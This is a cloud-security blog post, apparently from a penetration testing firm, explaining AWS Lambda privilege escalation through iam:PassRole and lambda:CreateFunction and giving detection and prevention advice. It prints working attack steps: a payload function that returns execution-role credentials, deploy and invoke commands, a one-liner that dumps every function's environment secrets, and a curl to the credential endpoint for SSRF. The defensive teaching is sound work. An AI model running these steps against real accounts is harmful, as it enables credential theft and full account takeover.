Services About Sectors Blog Get in Touch
← Back to Blog
Cloud 03 Aug 2026 // 8 min read

AWS Privilege Escalation via Overpermissive Lambda Execution Roles

How a misconfigured Lambda function with iam:PassRole can hand an attacker the keys to your entire AWS account — and how to prevent it before your next cloud assessment.

AWS Lambda execution roles sit at the intersection of two problems that cloud security teams routinely underestimate: the blast radius of compromised low-privilege credentials, and the implicit trust that serverless infrastructure places in its execution context. On a significant proportion of our AWS penetration testing engagements, Lambda execution roles are either the vector for privilege escalation or the endpoint that makes escalation impactful.

This article walks through the most reliable Lambda-related privilege escalation path we encounter — the iam:PassRole + lambda:CreateFunction combination — and covers the additional vectors that make Lambda an attractive target for post-compromise cloud attackers.

Why Lambda Execution Roles Get Overpermissioned

Lambda functions need IAM permissions to interact with other AWS services. The execution role is the identity the function assumes when it runs. The problem is that execution roles are typically provisioned by developers rather than IAM specialists, and developers tend to assign permissions based on "what might this function need" rather than "what does this function actually need".

Common patterns we observe:

  • Execution roles with s3:* on * instead of scoped to specific bucket ARNs
  • Roles with iam:PassRole included because an earlier version of the function needed it and nobody removed it
  • Roles copied from a high-privilege function to a new function without review
  • Roles with AdministratorAccess attached during development that were never tightened for production

The result is that Lambda execution roles frequently have permissions far exceeding what the function's current code uses — and those excess permissions are available to anyone who can invoke the function or create a new function with that role.

The Core Attack: iam:PassRole + lambda:CreateFunction

This is the most impactful Lambda privilege escalation path, and one of the most consistently findable misconfigurations in AWS environments. The conditions required:

  • The attacker's IAM identity has lambda:CreateFunction and lambda:InvokeFunction (or lambda:InvokeFunctionUrl)
  • The attacker's IAM identity has iam:PassRole, either broadly or scoped to roles that include a high-privilege execution role
  • A high-privilege Lambda execution role exists in the account (one with more permissions than the attacker currently has)

The attack flow:

Step 1 — Enumerate available roles

# List all Lambda execution roles (roles with Lambda trust policy) aws iam list-roles --query 'Roles[?contains(AssumeRolePolicyDocument.Statement[].Principal.Service, `lambda.amazonaws.com`)].{Name:RoleName, ARN:Arn}' # Check attached policies on a role of interest aws iam list-attached-role-policies --role-name <role-name> aws iam get-policy-version --policy-arn <policy-arn> --version-id v1

Step 2 — Create a function with the target role

Create a Lambda function whose code exfiltrates the execution context credentials or performs the privileged action directly:

# payload.py — returns the function's temporary credentials import boto3, os, json def handler(event, context): creds = { 'AccessKeyId': os.environ.get('AWS_ACCESS_KEY_ID'), 'SecretAccessKey': os.environ.get('AWS_SECRET_ACCESS_KEY'), 'SessionToken': os.environ.get('AWS_SESSION_TOKEN') } return {'statusCode': 200, 'body': json.dumps(creds)}
# Zip and deploy the function with the target execution role zip payload.zip payload.py aws lambda create-function \ --function-name privesc-test \ --runtime python3.12 \ --role arn:aws:iam::<account-id>:role/<high-privilege-role> \ --handler payload.handler \ --zip-file fileb://payload.zip

Step 3 — Invoke and retrieve credentials

aws lambda invoke \ --function-name privesc-test \ --payload '{}' \ output.json cat output.json # Output: temporary credentials scoped to the execution role # {AccessKeyId: ASIA..., SecretAccessKey: ..., SessionToken: ...}

These credentials can then be used directly with the AWS CLI or SDK. If the execution role has AdministratorAccess or IAM write permissions, the attacker now has full account control.

From a recent assessment: a developer IAM user with permissions scoped to deploying Lambda functions for a data pipeline had iam:PassRole on * — included to allow passing any role to new functions during development. A high-privilege execution role existed with iam:* permissions, originally created for a now-decommissioned function. We created a function with that role, retrieved credentials, and created a new persistent admin IAM user within four minutes of identifying the misconfiguration.

Updating Existing Functions

If the attacker has lambda:UpdateFunctionCode rather than lambda:CreateFunction, the path is functionally identical — they update an existing function's code to extract or use its existing execution role credentials.

aws lambda update-function-code \ --function-name existing-function \ --zip-file fileb://payload.zip aws lambda invoke \ --function-name existing-function \ --payload '{}' \ output.json

This variant requires no iam:PassRole, since the function already has an execution role. The only requirement is write access to the function's code.

Environment Variable Credential Disclosure

Many Lambda functions store credentials — database passwords, API keys, third-party service tokens — in environment variables. These are not encrypted by default beyond the standard AWS encryption at rest; they are visible in plaintext to anyone with lambda:GetFunctionConfiguration or lambda:GetFunction.

# List all Lambda functions and retrieve their environment variables aws lambda list-functions --query 'Functions[].FunctionName' --output text | \ tr '\t' '\n' | \ xargs -I{} aws lambda get-function-configuration --function-name {} \ --query '{Name:FunctionName, Env:Environment.Variables}'

We regularly recover database credentials, internal API keys, and hardcoded AWS credentials (from functions that use static credentials rather than execution roles) through this technique.

IMDS Access from Lambda

Lambda functions run on EC2 infrastructure and have access to the Instance Metadata Service (IMDS) endpoint at 169.254.169.254. While Lambda functions are intended to use their execution role credentials via environment variables, the IMDS is accessible and returns the same credentials via a different path. More importantly, in SSRF scenarios within Lambda functions, the IMDS endpoint is reachable from the function's execution context.

# From within a Lambda function or via SSRF curl http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI # Returns temporary credentials for the execution role

Note that Lambda uses the ECS credential endpoint (169.254.170.2) rather than the EC2 IMDS endpoint for its own credential retrieval. SSRF attacks against Lambda functions that reach external services via HTTP should test both endpoints.

Detection: CloudTrail Events to Monitor

All of these techniques generate CloudTrail events. The challenge is volume — high-traffic accounts generate thousands of Lambda-related events daily. Effective detection requires filtering for the specific event combinations that indicate abuse:

  • CreateFunction followed by InvokeFunction from the same identity within a short window — particularly if the role passed differs from that identity's own permissions
  • UpdateFunctionCode on a function the principal has not previously modified
  • GetFunctionConfiguration called across a large number of functions in a short period (enumeration pattern)
  • AssumeRole or API calls using credentials from a Lambda execution role, sourced from an IP address or user-agent inconsistent with normal Lambda invocations
# CloudTrail Insights or Athena query for suspicious CreateFunction + Invoke pairs SELECT userIdentity.arn, eventName, eventTime, requestParameters FROM cloudtrail_logs WHERE eventName IN ('CreateFunction20150331', 'InvokeFunction') AND eventTime > current_timestamp - interval '1' hour ORDER BY userIdentity.arn, eventTime

Prevention

Permission Boundaries on execution roles

Permission Boundaries are IAM policies that cap the maximum permissions a role can have, regardless of what managed or inline policies are attached. Apply a permission boundary to all Lambda execution roles that limits their access to only the services they need. Even if the execution role has a broad policy attached, the boundary ensures that policy cannot be exceeded.

Restrict iam:PassRole with resource conditions

Never grant iam:PassRole on *. Scope it to specific role ARNs or name patterns, and use condition keys to restrict which services the role can be passed to:

{ "Effect": "Allow", "Action": "iam:PassRole", "Resource": "arn:aws:iam::*:role/lambda-execution-*", "Condition": { "StringEquals": { "iam:PassedToService": "lambda.amazonaws.com" } } }

IAM Access Analyzer

Enable IAM Access Analyzer in all regions and review its findings regularly. It will flag roles with overly permissive trust policies and identify public or cross-account access that may not be intentional. For Lambda-specific analysis, use the console's policy generation feature, which analyses CloudTrail to determine what permissions a function actually used and recommends a least-privilege policy.

AWS Config Rules

Deploy Config rules to alert on Lambda functions without execution roles, execution roles with wildcard permissions, and functions that have not been invoked within a configured time window (stale functions with attached high-privilege roles are a persistent risk).

Summary

Lambda execution roles are a frequently overlooked attack surface in AWS environments. The iam:PassRole + lambda:CreateFunction combination is particularly dangerous because it converts a seemingly limited deployment permission into full account compromise — and the misconfiguration that enables it is common.

On cloud penetration testing engagements, we approach Lambda as both a target (for execution role abuse) and a source of credentials (environment variables, IMDS access). If your AWS security posture relies on the assumption that low-privilege developer IAM users cannot reach high-privilege roles, it is worth verifying whether that assumption holds against Lambda-based escalation paths.